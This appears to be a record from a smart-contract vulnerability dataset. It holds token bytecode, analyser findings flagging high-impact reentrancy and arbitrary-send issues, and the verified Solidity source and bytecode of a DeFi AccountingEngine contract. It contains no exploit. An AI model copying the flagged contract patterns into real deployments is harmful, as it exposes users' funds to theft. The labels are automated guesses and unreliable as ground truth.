7c3b925910160405180910390a3505050565b6001600160a01b038316610c965760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043c565b6001600160a01b038216610cf85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043c565b60008111610d5a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043c565b6000546001600160a01b03848116911614801590610d8657506000546001600160a01b03838116911614155b15610fe757600f54600160b81b900460ff1615610e6d576001600160a01b0383163014801590610dbf57506001600160a01b0382163014155b8015610dd95750600e546001600160a01b03848116911614155b8015610df35750600e546001600160a01b03838116911614155b15610e6d57600e546001600160a01b0316336001600160a01b03161480610e2d5750600f546001600160a01b0316336001600160a01b0316145b610e6d5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015260640161043c565b601054811115610e7c57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610ebe57506001600160a01b0382166000908152600a602052604090205460ff16155b610ec757600080fd5b600f546001600160a01b038481169116148015610ef25750600e546001600160a01b03838116911614155b8015610f1757506001600160a01b03821660009081526005602052604090205460ff16155b8015610f2c5750600f54600160b81b900460ff165b15610f7a576001600160a01b0382166000908152600b60205260409020544211610f5557600080fd5b610f6042603c611af8565b6001600160a01b0383166000908152600b60205260409020555b6000610f85306104db565b600f54909150600160a81b900460ff16158015610fb05750600f546001600160a01b03858116911614155b8015610fc55750600f54600160b01b900460ff165b15610fe557610fd381611187565b478015610fe357610fe34761107e565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102957506001600160a01b03831660009081526005602052604090205460ff165b15611032575060005b61103e848484846113ed565b50505050565b600081848411156110685760405162461bcd60e51b815260040161043c9190611a00565b5060006110758486611b4f565b95945050505050565b600c546001600160a01b03166108fc6110988360026113ab565b6040518115909202916000818181858888f193505050501580156110c0573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110db8360026113ab565b6040518115909202916000818181858888f1935050505015801561063e573d6000803e3d6000fd5b600060065482111561116a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161043c565b6000611174611419565b905061118083826113ab565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111dd57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561123157600080fd5b505afa158015611245573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126991906117fd565b8160018151811061128a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112b09130911684610b0e565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e9908590600090869030904290600401611a88565b600060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261133b575060006103a3565b60006113478385611b30565b9050826113548583611b10565b146111805760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043c565b600061118083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061143c565b806113fa576113fa61146a565b61140584848461148d565b8061103e5761103e6005600855600c600955565b6000806000611426611584565b909250905061143582826113ab565b9250505090565b6000818361145d5760405162461bcd60e51b815260040161043c9190611a00565b5060006110758486611b10565b60085415801561147a5750600954155b1561148157565b60006008819055600955565b60008060008060008061149f876115c6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114d19087611623565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115009086611665565b6001600160a01b038916600090815260026020526040902055611522816116c4565b61152c848361170e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161157191815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006115a082826113ab565b8210156115bd57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115e38a600854600954611732565b92509250925060006115f3611419565b905060008060006116068e878787611781565b919e509c509a509598509396509194505050505091939550919395565b600061118083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611044565b6000806116728385611af8565b9050838110156111805760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161043c565b60006116ce611419565b905060006116dc838361132c565b306000908152600260205260409020549091506116f99082611665565b30600090815260026020526040902055505050565b60065461171b9083611623565b60065560075461172b9082611665565b6007555050565b60008080806117466064610acd898961132c565b905060006117596064610acd8a8961132c565b905060006117718261176b8b86611623565b90611623565b9992985090965090945050505050565b6000808080611790888661132c565b9050600061179e888761132c565b905060006117ac888861132c565b905060006117be8261176b8686611623565b939b939a50919850919650505050505050565b80356117dc81611bad565b919050565b6000602082840312156117f2578081fd5b813561118081611bad565b60006020828403121561180e578081fd5b815161118081611bad565b6000806040838503121561182b578081fd5b823561183681611bad565b9150602083013561184681611bad565b809150509250929050565b600080600060608486031215611865578081fd5b833561187081611bad565b9250602084013561188081611bad565b929592945050506040919091013590565b600080604083850312156118a3578182fd5b82356118ae81611bad565b946020939093013593505050565b600060208083850312156118ce578182fd5b823567ffffffffffffffff808211156118e5578384fd5b818501915085601f8301126118f8578384fd5b81358181111561190a5761190a611b97565b8060051b604051601f19603f8301168101818110858211171561192f5761192f611b97565b604052828152858101935084860182860187018a101561194d578788fd5b8795505b8386101561197657611962816117d1565b855260019590950194938601938601611951565b5098975050505050505050565b600060208284031215611994578081fd5b813561118081611bc2565b6000602082840312156119b0578081fd5b815161118081611bc2565b6000602082840312156119cc578081fd5b5035919050565b6000806000606084860312156119e7578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2c57858101830151858201604001528201611a10565b81811115611a3d5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ad75784516001600160a01b031683529383019391830191600101611ab2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0b57611b0b611b81565b500190565b600082611b2b57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4a57611b4a611b81565b500290565b600082821015611b6157611b61611b81565b500390565b6000600019821415611b7a57611b7a611b81565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104d857600080fd5b80151581146104d857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365535357207c20742e6d652f5375706572736f6e696353686f636b57617665455448a2646970667358221220f4379093610402a989ea5003031a733c3cd861762c8c61eb45a654f11156048064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,204
0xcee6aa1ab47d0fb0f24f51a3072ec16e20f90fce
/** *Submitted for verification at Etherscan.io on 2021-02-02 */ /// AccountingEngine.sol // Copyright (C) 2018 Rain <rainbreak@riseup.net> // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. pragma solidity 0.6.7; abstract contract DebtAuctionHouseLike { function startAuction(address incomeReceiver, uint256 amountToSell, uint256 initialBid) virtual public returns (uint256); function protocolToken() virtual public view returns (address); function disableContract() virtual external; function contractEnabled() virtual public view returns (uint256); } abstract contract SurplusAuctionHouseLike { function startAuction(uint256, uint256) virtual public returns (uint256); function protocolToken() virtual public view returns (address); function disableContract() virtual external; function contractEnabled() virtual public view returns (uint256); } abstract contract SAFEEngineLike { function coinBalance(address) virtual public view returns (uint256); function debtBalance(address) virtual public view returns (uint256); function settleDebt(uint256) virtual external; function transferInternalCoins(address,address,uint256) virtual external; function approveSAFEModification(address) virtual external; function denySAFEModification(address) virtual external; } abstract contract SystemStakingPoolLike { function canPrintProtocolTokens() virtual public view returns (bool); } abstract contract ProtocolTokenAuthorityLike { function authorizedAccounts(address) virtual public view returns (uint256); } contract AccountingEngine { // --- Auth --- mapping (address => uint256) public authorizedAccounts; /** * @notice Add auth to an account * @param account Account to add auth to */ function addAuthorization(address account) external isAuthorized { require(contractEnabled == 1, "AccountingEngine/contract-not-enabled"); authorizedAccounts[account] = 1; emit AddAuthorization(account); } /** * @notice Remove auth from an account * @param account Account to remove auth from */ function removeAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 0; emit RemoveAuthorization(account); } /** * @notice Checks whether msg.sender can call an authed function **/ modifier isAuthorized { require(authorizedAccounts[msg.sender] == 1, "AccountingEngine/account-not-authorized"); _; } // --- Data --- // SAFE database SAFEEngineLike public safeEngine; // Contract that handles auctions for surplus stability fees (sell coins for protocol tokens that are then burned) SurplusAuctionHouseLike public surplusAuctionHouse; /** Contract that handles auctions for debt that couldn't be covered by collateral auctions (it prints protocol tokens in exchange for coins that will settle the debt) **/ DebtAuctionHouseLike public debtAuctionHouse; // Permissions registry for who can burn and mint protocol tokens ProtocolTokenAuthorityLike public protocolTokenAuthority; // Staking pool for protocol tokens SystemStakingPoolLike public systemStakingPool; // Contract that auctions extra surplus after settlement is triggered address public postSettlementSurplusDrain; // Address that receives extra surplus transfers address public extraSurplusReceiver; /** Debt blocks that need to be covered by auctions. There is a delay to pop debt from this queue and either settle it with surplus that came from collateral auctions or with debt auctions that print protocol tokens **/ mapping (uint256 => uint256) public debtQueue; // [unix timestamp => rad] // Addresses that popped debt out of the queue mapping (uint256 => address) public debtPoppers; // [unix timestamp => address] // Total debt in the queue (that the system tries to cover with collateral auctions) uint256 public totalQueuedDebt; // [rad] // Total debt being auctioned in DebtAuctionHouse (printing protocol tokens for coins that will settle the debt) uint256 public totalOnAuctionDebt; // [rad] // When the last surplus auction was triggered uint256 public lastSurplusAuctionTime; // [unix timestamp] // When the last surplus transfer was triggered uint256 public lastSurplusTransferTime; // [unix timestamp] // Delay between surplus auctions uint256 public surplusAuctionDelay; // [seconds] // Delay between extra surplus transfers uint256 public surplusTransferDelay; // [seconds] // Delay after which debt can be popped from debtQueue uint256 public popDebtDelay; // [seconds] // Amount of protocol tokens to be minted post-auction uint256 public initialDebtAuctionMintedTokens; // [wad] // Amount of debt sold in one debt auction (initial coin bid for initialDebtAuctionMintedTokens protocol tokens) uint256 public debtAuctionBidSize; // [rad] // Whether the system transfers surplus instead of auctioning it uint256 public extraSurplusIsTransferred; // Amount of surplus stability fees sold in one surplus auction uint256 public surplusAuctionAmountToSell; // [rad] // Amount of extra surplus to transfer uint256 public surplusTransferAmount; // [rad] // Amount of stability fees that need to accrue in this contract before any surplus auction can start uint256 public surplusBuffer; // [rad] // Time to wait (post settlement) until any remaining surplus can be transferred to the settlement auctioneer uint256 public disableCooldown; // [seconds] // When the contract was disabled uint256 public disableTimestamp; // [unix timestamp] // Whether this contract is enabled or not uint256 public contractEnabled; // --- Events --- event AddAuthorization(address account); event RemoveAuthorization(address account); event ModifyParameters(bytes32 indexed parameter, uint256 data); event ModifyParameters(bytes32 indexed parameter, address data); event PushDebtToQueue(uint256 indexed timestamp, uint256 debtQueueBlock, uint256 totalQueuedDebt); event PopDebtFromQueue(uint256 indexed timestamp, uint256 debtQueueBlock, uint256 totalQueuedDebt); event SettleDebt(uint256 rad, uint256 coinBalance, uint256 debtBalance); event CancelAuctionedDebtWithSurplus(uint rad, uint256 totalOnAuctionDebt, uint256 coinBalance, uint256 debtBalance); event AuctionDebt(uint256 indexed id, uint256 totalOnAuctionDebt, uint256 debtBalance); event AuctionSurplus(uint256 indexed id, uint256 lastSurplusAuctionTime, uint256 coinBalance); event DisableContract(uint256 disableTimestamp, uint256 disableCooldown, uint256 coinBalance, uint256 debtBalance); event TransferPostSettlementSurplus(address postSettlementSurplusDrain, uint256 coinBalance, uint256 debtBalance); event TransferExtraSurplus(address indexed extraSurplusReceiver, uint256 lastSurplusAuctionTime, uint256 coinBalance); // --- Init --- constructor( address safeEngine_, address surplusAuctionHouse_, address debtAuctionHouse_ ) public { authorizedAccounts[msg.sender] = 1; safeEngine = SAFEEngineLike(safeEngine_); surplusAuctionHouse = SurplusAuctionHouseLike(surplusAuctionHouse_); debtAuctionHouse = DebtAuctionHouseLike(debtAuctionHouse_); safeEngine.approveSAFEModification(surplusAuctionHouse_); lastSurplusAuctionTime = now; lastSurplusTransferTime = now; contractEnabled = 1; emit AddAuthorization(msg.sender); } // --- Math --- function addition(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x, "AccountingEngine/add-overflow"); } function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x, "AccountingEngine/sub-underflow"); } function minimum(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; } // --- Administration --- /** * @notice Modify general uint256 params for auctions * @param parameter The name of the parameter modified * @param data New value for the parameter */ function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized { if (parameter == "surplusAuctionDelay") surplusAuctionDelay = data; else if (parameter == "surplusTransferDelay") surplusTransferDelay = data; else if (parameter == "popDebtDelay") popDebtDelay = data; else if (parameter == "surplusAuctionAmountToSell") surplusAuctionAmountToSell = data; else if (parameter == "surplusTransferAmount") surplusTransferAmount = data; else if (parameter == "extraSurplusIsTransferred") extraSurplusIsTransferred = data; else if (parameter == "debtAuctionBidSize") debtAuctionBidSize = data; else if (parameter == "initialDebtAuctionMintedTokens") initialDebtAuctionMintedTokens = data; else if (parameter == "surplusBuffer") surplusBuffer = data; else if (parameter == "lastSurplusTransferTime") { require(data > now, "AccountingEngine/invalid-lastSurplusTransferTime"); lastSurplusTransferTime = data; } else if (parameter == "lastSurplusAuctionTime") { require(data > now, "AccountingEngine/invalid-lastSurplusAuctionTime"); lastSurplusAuctionTime = data; } else if (parameter == "disableCooldown") disableCooldown = data; else revert("AccountingEngine/modify-unrecognized-param"); emit ModifyParameters(parameter, data); } /** * @notice Modify dependency addresses * @param parameter The name of the auction type we want to change the address for * @param data New address for the auction */ function modifyParameters(bytes32 parameter, address data) external isAuthorized { if (parameter == "surplusAuctionHouse") { safeEngine.denySAFEModification(address(surplusAuctionHouse)); surplusAuctionHouse = SurplusAuctionHouseLike(data); safeEngine.approveSAFEModification(data); } else if (parameter == "systemStakingPool") { systemStakingPool = SystemStakingPoolLike(data); systemStakingPool.canPrintProtocolTokens(); } else if (parameter == "debtAuctionHouse") debtAuctionHouse = DebtAuctionHouseLike(data); else if (parameter == "postSettlementSurplusDrain") postSettlementSurplusDrain = data; else if (parameter == "protocolTokenAuthority") protocolTokenAuthority = ProtocolTokenAuthorityLike(data); else if (parameter == "extraSurplusReceiver") extraSurplusReceiver = data; else revert("AccountingEngine/modify-unrecognized-param"); emit ModifyParameters(parameter, data); } // --- Getters --- function unqueuedUnauctionedDebt() public view returns (uint256) { return subtract(subtract(safeEngine.debtBalance(address(this)), totalQueuedDebt), totalOnAuctionDebt); } function canPrintProtocolTokens() public view returns (bool) { if (address(systemStakingPool) == address(0)) return true; try systemStakingPool.canPrintProtocolTokens() returns (bool ok) { return ok; } catch(bytes memory) { return true; } } // --- Debt Queueing --- /** * @notice Push debt (that the system tries to cover with collateral auctions) to a queue * @dev Debt is locked in a queue to give the system enough time to auction collateral * and gather surplus * @param debtBlock Amount of debt to push */ function pushDebtToQueue(uint256 debtBlock) external isAuthorized { debtQueue[now] = addition(debtQueue[now], debtBlock); totalQueuedDebt = addition(totalQueuedDebt, debtBlock); emit PushDebtToQueue(now, debtQueue[now], totalQueuedDebt); } /** * @notice A block of debt can be popped from the queue after popDebtDelay seconds passed since it was * added there * @param debtBlockTimestamp Timestamp of the block of debt that should be popped out */ function popDebtFromQueue(uint256 debtBlockTimestamp) external { require(addition(debtBlockTimestamp, popDebtDelay) <= now, "AccountingEngine/pop-debt-delay-not-passed"); require(debtQueue[debtBlockTimestamp] > 0, "AccountingEngine/null-debt-block"); totalQueuedDebt = subtract(totalQueuedDebt, debtQueue[debtBlockTimestamp]); debtPoppers[debtBlockTimestamp] = msg.sender; emit PopDebtFromQueue(now, debtQueue[debtBlockTimestamp], totalQueuedDebt); debtQueue[debtBlockTimestamp] = 0; } // Debt settlement /** * @notice Destroy an equal amount of coins and debt * @dev We can only destroy debt that is not locked in the queue and also not in a debt auction * @param rad Amount of coins/debt to destroy (number with 45 decimals) **/ function settleDebt(uint256 rad) public { require(rad <= safeEngine.coinBalance(address(this)), "AccountingEngine/insufficient-surplus"); require(rad <= unqueuedUnauctionedDebt(), "AccountingEngine/insufficient-debt"); safeEngine.settleDebt(rad); emit SettleDebt(rad, safeEngine.coinBalance(address(this)), safeEngine.debtBalance(address(this))); } /** * @notice Use surplus coins to destroy debt that is/was in a debt auction * @param rad Amount of coins/debt to destroy (number with 45 decimals) **/ function cancelAuctionedDebtWithSurplus(uint256 rad) external { require(rad <= totalOnAuctionDebt, "AccountingEngine/not-enough-debt-being-auctioned"); require(rad <= safeEngine.coinBalance(address(this)), "AccountingEngine/insufficient-surplus"); totalOnAuctionDebt = subtract(totalOnAuctionDebt, rad); safeEngine.settleDebt(rad); emit CancelAuctionedDebtWithSurplus(rad, totalOnAuctionDebt, safeEngine.coinBalance(address(this)), safeEngine.debtBalance(address(this))); } // Debt auction /** * @notice Start a debt auction (print protocol tokens in exchange for coins so that the * system can accumulate surplus) * @dev We can only auction debt that is not already being auctioned and is not locked in the debt queue **/ function auctionDebt() external returns (uint256 id) { require(debtAuctionBidSize <= unqueuedUnauctionedDebt(), "AccountingEngine/insufficient-debt"); settleDebt(safeEngine.coinBalance(address(this))); require(safeEngine.coinBalance(address(this)) == 0, "AccountingEngine/surplus-not-zero"); require(debtAuctionHouse.protocolToken() != address(0), "AccountingEngine/debt-auction-house-null-prot"); require(protocolTokenAuthority.authorizedAccounts(address(debtAuctionHouse)) == 1, "AccountingEngine/debt-auction-house-cannot-print-prot"); require(canPrintProtocolTokens(), "AccountingEngine/staking-pool-denies-printing"); totalOnAuctionDebt = addition(totalOnAuctionDebt, debtAuctionBidSize); id = debtAuctionHouse.startAuction(address(this), initialDebtAuctionMintedTokens, debtAuctionBidSize); emit AuctionDebt(id, totalOnAuctionDebt, safeEngine.debtBalance(address(this))); } // Surplus auction /** * @notice Start a surplus auction * @dev We can only auction surplus if we wait at least 'surplusAuctionDelay' seconds since the last * auction trigger, if we keep enough surplus in the buffer and if there is no bad debt left to settle **/ function auctionSurplus() external returns (uint256 id) { require(extraSurplusIsTransferred != 1, "AccountingEngine/surplus-transfer-no-auction"); require(surplusAuctionAmountToSell > 0, "AccountingEngine/null-amount-to-auction"); settleDebt(unqueuedUnauctionedDebt()); require( now >= addition(lastSurplusAuctionTime, surplusAuctionDelay), "AccountingEngine/surplus-auction-delay-not-passed" ); require( safeEngine.coinBalance(address(this)) >= addition(addition(safeEngine.debtBalance(address(this)), surplusAuctionAmountToSell), surplusBuffer), "AccountingEngine/insufficient-surplus" ); require( unqueuedUnauctionedDebt() == 0, "AccountingEngine/debt-not-zero" ); require(surplusAuctionHouse.protocolToken() != address(0), "AccountingEngine/surplus-auction-house-null-prot"); lastSurplusAuctionTime = now; lastSurplusTransferTime = now; id = surplusAuctionHouse.startAuction(surplusAuctionAmountToSell, 0); emit AuctionSurplus(id, lastSurplusAuctionTime, safeEngine.coinBalance(address(this))); } // Extra surplus transfers/surplus auction alternative /** * @notice Send surplus to an address as an alternative to auctions * @dev We can only transfer surplus if we wait at least 'surplusTransferDelay' seconds since the last * transfer, if we keep enough surplus in the buffer and if there is no bad debt left to settle **/ function transferExtraSurplus() external { require(extraSurplusIsTransferred == 1, "AccountingEngine/surplus-auction-not-transfer"); require(extraSurplusReceiver != address(0), "AccountingEngine/null-surplus-receiver"); require(surplusTransferAmount > 0, "AccountingEngine/null-amount-to-transfer"); settleDebt(unqueuedUnauctionedDebt()); require( now >= addition(lastSurplusTransferTime, surplusTransferDelay), "AccountingEngine/surplus-transfer-delay-not-passed" ); require( safeEngine.coinBalance(address(this)) >= addition(addition(safeEngine.debtBalance(address(this)), surplusTransferAmount), surplusBuffer), "AccountingEngine/insufficient-surplus" ); require( unqueuedUnauctionedDebt() == 0, "AccountingEngine/debt-not-zero" ); lastSurplusTransferTime = now; lastSurplusAuctionTime = now; safeEngine.transferInternalCoins(address(this), extraSurplusReceiver, surplusTransferAmount); emit TransferExtraSurplus(extraSurplusReceiver, lastSurplusTransferTime, safeEngine.coinBalance(address(this))); } /** * @notice Disable this contract (normally called by Global Settlement) * @dev When it's disabled, the contract will record the current timestamp. Afterwards, * the contract tries to settle as much debt as possible (if there's any) with any surplus that's * left in the system **/ function disableContract() external isAuthorized { require(contractEnabled == 1, "AccountingEngine/contract-not-enabled"); contractEnabled = 0; totalQueuedDebt = 0; totalOnAuctionDebt = 0; disableTimestamp = now; surplusAuctionHouse.disableContract(); debtAuctionHouse.disableContract(); safeEngine.settleDebt(minimum(safeEngine.coinBalance(address(this)), safeEngine.debtBalance(address(this)))); emit DisableContract(disableTimestamp, disableCooldown, safeEngine.coinBalance(address(this)), safeEngine.debtBalance(address(this))); } /** * @notice Transfer any remaining surplus after the disable cooldown has passed. Meant to be a backup in case GlobalSettlement.processSAFE has a bug, governance doesn't have power over the system and there's still surplus left in the AccountingEngine which then blocks GlobalSettlement.setOutstandingCoinSupply. * @dev Transfer any remaining surplus after disableCooldown seconds have passed since disabling the contract **/ function transferPostSettlementSurplus() external { require(contractEnabled == 0, "AccountingEngine/still-enabled"); require(addition(disableTimestamp, disableCooldown) <= now, "AccountingEngine/cooldown-not-passed"); safeEngine.settleDebt(minimum(safeEngine.coinBalance(address(this)), safeEngine.debtBalance(address(this)))); safeEngine.transferInternalCoins(address(this), postSettlementSurplusDrain, safeEngine.coinBalance(address(this))); emit TransferPostSettlementSurplus( postSettlementSurplusDrain, safeEngine.coinBalance(address(this)), safeEngine.debtBalance(address(this)) ); } }
0x608060405234801561001057600080fd5b50600436106102535760003560e01c8063793d914911610146578063cc54f5e8116100c3578063d8872aeb11610087578063d8872aeb146104b0578063f27c3562146104b8578063fa8838af146104c0578063fc7966de146104c8578063fe4f5890146104d0578063ff713a9f146104f357610253565b8063cc54f5e814610474578063cdacaaca1461047c578063d405665514610484578063d6881367146104a0578063d72f0e43146104a857610253565b8063a4ea79441161010a578063a4ea794414610422578063a71036871461042a578063a8b30a9f14610447578063b39f841c14610464578063c41f55a01461046c57610253565b8063793d9149146103c7578063894ba833146103cf5780638b24dc3e146103d757806394f3f81d146103f4578063a34231de1461041a57610253565b80633dc4ab1d116101d45780635221e882116101985780635221e8821461037b5780635dabda40146103835780635fb9340c1461038b5780636614f0101461039357806367aea313146103bf57610253565b80633dc4ab1d1461032257806341b3a0d91461033f57806344e330c414610347578063492f9b3a1461034f5780634e6afb9e1461035757610253565b80632d09f11d1161021b5780632d09f11d146102c757806335b28153146102cf57806337b7eca1146102f55780633977a319146102fd5780633d2fa89b1461031a57610253565b80630502cddc146102585780630f44d6bd1461027257806324ba58841461027a57806327a0bb33146102a05780632a608d5b146102bf575b600080fd5b6102606104fb565b60408051918252519081900360200190f35b610260610501565b6102606004803603602081101561029057600080fd5b50356001600160a01b0316610507565b6102bd600480360360208110156102b657600080fd5b5035610519565b005b6102606107ab565b6102606107b1565b6102bd600480360360208110156102e557600080fd5b50356001600160a01b03166107b7565b610260610898565b6102606004803603602081101561031357600080fd5b503561089e565b6102606108b0565b6102bd6004803603602081101561033857600080fd5b5035610d37565b610260610fde565b6102bd610fe4565b6102606113e7565b61035f6113ed565b604080516001600160a01b039092168252519081900360200190f35b6102606113fc565b610260611402565b610260611408565b6102bd600480360360408110156103a957600080fd5b50803590602001356001600160a01b031661140e565b61035f61178a565b610260611799565b6102bd61179f565b6102bd600480360360208110156103ed57600080fd5b5035611b8f565b6102bd6004803603602081101561040a57600080fd5b50356001600160a01b0316611ccd565b61035f611d6c565b610260611d7b565b61035f6004803603602081101561044057600080fd5b5035611d81565b6102bd6004803603602081101561045d57600080fd5b5035611d9c565b61035f611e78565b610260611e87565b61035f611e8d565b61035f611e9c565b61048c611eab565b604080519115158252519081900360200190f35b61035f611f7d565b610260611f8c565b610260611f92565b610260612024565b6102bd61202a565b6102606123a6565b6102bd600480360360408110156104e657600080fd5b50803590602001356123ac565b6102606126a8565b60125481565b600b5481565b60006020819052908152604090205481565b60015460408051633eaf7a0360e21b815230600482015290516001600160a01b039092169163fabde80c91602480820192602092909190829003018186803b15801561056457600080fd5b505afa158015610578573d6000803e3d6000fd5b505050506040513d602081101561058e57600080fd5b50518111156105ce5760405162461bcd60e51b8152600401808060200182810382526025815260200180612c606025913960400191505060405180910390fd5b6105d6611f92565b8111156106145760405162461bcd60e51b8152600401808060200182810382526022815260200180612d4e6022913960400191505060405180910390fd5b600154604080516327a0bb3360e01b81526004810184905290516001600160a01b03909216916327a0bb339160248082019260009290919082900301818387803b15801561066157600080fd5b505af1158015610675573d6000803e3d6000fd5b505060015460408051633eaf7a0360e21b815230600482015290517faa3cda6ae2bb6ad9e5234a74ba9fede531dec740965eafd0b7ac9d3b90443f8694508593506001600160a01b039092169163fabde80c91602480820192602092909190829003018186803b1580156106e857600080fd5b505afa1580156106fc573d6000803e3d6000fd5b505050506040513d602081101561071257600080fd5b5051600154604080516311005b0760e01b815230600482015290516001600160a01b03909216916311005b0791602480820192602092909190829003018186803b15801561075f57600080fd5b505afa158015610773573d6000803e3d6000fd5b505050506040513d602081101561078957600080fd5b505160408051938452602084019290925282820152519081900360600190a150565b60165481565b600a5481565b336000908152602081905260409020546001146108055760405162461bcd60e51b8152600401808060200182810382526027815260200180612cff6027913960400191505060405180910390fd5b6019546001146108465760405162461bcd60e51b8152600401808060200182810382526025815260200180612dfc6025913960400191505060405180910390fd5b6001600160a01b0381166000818152602081815260409182902060019055815192835290517f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f70001029281900390910190a150565b600f5481565b60086020526000908152604090205481565b60006108ba611f92565b60125411156108fa5760405162461bcd60e51b8152600401808060200182810382526022815260200180612d4e6022913960400191505060405180910390fd5b60015460408051633eaf7a0360e21b81523060048201529051610977926001600160a01b03169163fabde80c916024808301926020929190829003018186803b15801561094657600080fd5b505afa15801561095a573d6000803e3d6000fd5b505050506040513d602081101561097057600080fd5b5051610519565b60015460408051633eaf7a0360e21b815230600482015290516001600160a01b039092169163fabde80c91602480820192602092909190829003018186803b1580156109c257600080fd5b505afa1580156109d6573d6000803e3d6000fd5b505050506040513d60208110156109ec57600080fd5b505115610a2a5760405162461bcd60e51b8152600401808060200182810382526021815260200180612cb46021913960400191505060405180910390fd5b60035460408051631a465fe160e01b815290516000926001600160a01b031691631a465fe1916004808301926020929190829003018186803b158015610a6f57600080fd5b505afa158015610a83573d6000803e3d6000fd5b505050506040513d6020811015610a9957600080fd5b50516001600160a01b03161415610ae15760405162461bcd60e51b815260040180806020018281038252602d815260200180612d70602d913960400191505060405180910390fd5b600480546003546040805163092e962160e21b81526001600160a01b0392831694810194909452519116916324ba5884916024808301926020929190829003018186803b158015610b3157600080fd5b505afa158015610b45573d6000803e3d6000fd5b505050506040513d6020811015610b5b57600080fd5b5051600114610b9b5760405162461bcd60e51b8152600401808060200182810382526035815260200180612f196035913960400191505060405180910390fd5b610ba3611eab565b610bde5760405162461bcd60e51b815260040180806020018281038252602d815260200180612dcf602d913960400191505060405180910390fd5b610bec600b54601254612ad3565b600b55600354601154601254604080516356dd475560e01b815230600482015260248101939093526044830191909152516001600160a01b03909216916356dd4755916064808201926020929091908290030181600087803b158015610c5157600080fd5b505af1158015610c65573d6000803e3d6000fd5b505050506040513d6020811015610c7b57600080fd5b5051600b54600154604080516311005b0760e01b8152306004820152905193945084937fa92a5e554d2e8bfa74170e5591680f0c7eb5e56c545c5f53e253500e50d6d52d93926001600160a01b0316916311005b07916024808301926020929190829003018186803b158015610cf057600080fd5b505afa158015610d04573d6000803e3d6000fd5b505050506040513d6020811015610d1a57600080fd5b50516040805192835260208301919091528051918290030190a290565b600b54811115610d785760405162461bcd60e51b8152600401808060200182810382526030815260200180612bd36030913960400191505060405180910390fd5b60015460408051633eaf7a0360e21b815230600482015290516001600160a01b039092169163fabde80c91602480820192602092909190829003018186803b158015610dc357600080fd5b505afa158015610dd7573d6000803e3d6000fd5b505050506040513d6020811015610ded57600080fd5b5051811115610e2d5760405162461bcd60e51b8152600401808060200182810382526025815260200180612c606025913960400191505060405180910390fd5b610e39600b5482612b31565b600b55600154604080516327a0bb3360e01b81526004810184905290516001600160a01b03909216916327a0bb339160248082019260009290919082900301818387803b158015610e8957600080fd5b505af1158015610e9d573d6000803e3d6000fd5b5050600b5460015460408051633eaf7a0360e21b815230600482015290517f5849130fd802a9386171d8d3f31c08fc5cf9b28821d86508afd88cb065a2af6f95508694506001600160a01b039092169163fabde80c91602480820192602092909190829003018186803b158015610f1357600080fd5b505afa158015610f27573d6000803e3d6000fd5b505050506040513d6020811015610f3d57600080fd5b5051600154604080